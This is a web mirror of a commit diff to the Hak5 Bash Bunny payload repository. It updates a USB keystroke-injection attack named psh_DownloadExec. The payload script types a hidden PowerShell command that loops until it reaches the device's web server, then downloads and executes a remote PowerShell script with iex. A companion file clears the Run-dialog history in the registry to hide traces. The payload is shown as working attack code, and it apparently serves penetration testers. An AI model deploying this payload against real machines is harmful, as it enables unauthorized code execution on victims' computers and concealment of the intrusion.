hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update and fix payloads (#277)

Browse Source 
* Updated all Payloads for Version 1.2+

Fixed Style Issues on extensions and payloads.
Added GET TARGET_OS to get.sh
Removed and Fixed all uses ducky_helper.sh (Issue #248)
Removed all mention of DUCKY_LANG (Issue #248)
Renamed Payloads with spaces in name
Added an extension to keep Macs Happy
Added a payload for Mac DNS poisoning
Fixed Issue #271 changed wget to curl -o
Implemented PR #268
Implemented PR #273

* Fixed e.cmd

* Fix e.cmd pt2

* Fixed Issues

Fixed issues pointed out by @sebkinne
Fixed styling errors
This commit is contained in:
Aidan Holland
2017-10-24 20:10:17 -04:00
committed by Sebastian Kinne
parent c0ab8d3e88
commit 5a77792c1d
56 changed files with 438 additions and 395 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
payloads/library/execution/psh_DownloadExec/psh.txt → payloads/library/execution/psh_DownloadExec/p.txt
View File

@@ -1,3 +1,2 @@
New-Item $ENV:UserProfile\Desktop\SUCCESS -ItemType file
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue

40
payloads/library/execution/psh_DownloadExec/payload.txt
View File

@@ -8,51 +8,49 @@
# Attackmodes: HID, RNDIS_ETHERNET
# Firmware: >= 1.3
#
# Quick HID attack to retrieve and run powershell payload from BashBunny web server - ensure psh.txt exists in payload directory
#
# Quick HID attack to retrieve and run powershell payload from BashBunny web server
# ensure p.txt (your powershell payload) exists in payload directory
#
# | Attack Stage | Description |
# | ------------------- | ---------------------------------------- |
# | Stage 1 | Running Initial Powershell Commands |
# | Stage 3 | Delivering powershell payload |
# | Stage 2 | Delivering powershell payload |
#
ATTACKMODE RNDIS_ETHERNET HID
LED SETUP
REQUIRETOOL gohttp
GET HOST_IP
GET SWITCH_POSITION
# Set working dir
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
SERVER_LOG=$PAYLOAD_DIR/server.log
# DEFINE DIRECTORIES
PAYLOAD_DIR=/root/udisk/payloads/${SWITCH_POSITION}
SERVER_LOG=/tmp/server.log
# Fresh Server Log
rm -f $SERVER_LOG
# SERVER LOG
rm -f ${SERVER_LOG}
# Check for gohttp
REQUIRETOOL gohttp
# Start web server
# START HTTP SERVER
iptables -A OUTPUT -p udp --dport 53 -j DROP # disallow outgoing dns requests so server starts immediately
/usr/bin/gohttp -p 80 -d $PAYLOAD_DIR > $SERVER_LOG 2>&1 &
/tools/gohttp/gohttp -p 80 -d /tmp/ > ${SERVER_LOG} 2>&1 &
# Check for psh.txt
if [ ! -f $PAYLOAD_DIR/psh.txt ]; then
# CHECK FOR POWERSHELL
if [ ! -f ${PAYLOAD_DIR}/p.txt ]; then
LED FAIL2
exit 1
fi
cp -R ${PAYLOAD_DIR}/* /tmp/ # any additional assets will be available in tmp
# Attack HID
# STAGE 1 - POWERSHELL
LED STAGE1
# Attack (abbreviations to allow run execution)
RUN WIN "powershell -WindowStyle Hidden \"\$web=New-Object Net.WebClient;while (\$TRUE) {If ((New-Object net.sockets.tcpclient ('$HOST_IP','80')).Connected) {iex \$web.DownloadString('http://$HOST_IP/psh.txt');\$web.DownloadString('http://172.16.64.1/DONE');exit}}\""
RUN WIN "powershell -WindowStyle Hidden \"\$web=New-Object Net.WebClient;while (\$TRUE) {If ((New-Object net.sockets.tcpclient ('${HOST_IP}','80')).Connected) {iex \$web.DownloadString('http://${HOST_IP}/p.txt');\$web.DownloadString('http://172.16.64.1/DONE');exit}}\""
# Remove tracks in the psh payload if you wish
# Attack Ethernet
# STAGE 2 - WAIT
LED STAGE2
while ! grep -Fq "GET \"/DONE\"" $SERVER_LOG; do
while ! grep -Fq "GET \"/DONE\"" ${SERVER_LOG}; do
sleep .5
done

6
payloads/library/execution/psh_DownloadExec/readme.md
View File

@@ -14,7 +14,7 @@ Quick HID attack to retrieve and run powershell payload from BashBunny web serve
## Configuration
Ensure psh.txt exists in payload directory. This is the powershell script that will be downloaded and executed.
Ensure p.txt exists in payload directory. This is the powershell script that will be downloaded and executed.
## Requirements
@@ -31,5 +31,5 @@ See Hak5's Tool Thread Here: https://forums.hak5.org/index.php?/topic/40971-info
| Attack Stage | Description |
| ------------------- | ---------------------------------------- |
| Stage 1 | Running Initial Powershell Commands |
| Stage 3 | Delivering powershell payload |
```
| Stage 2 | Delivering powershell payload |
```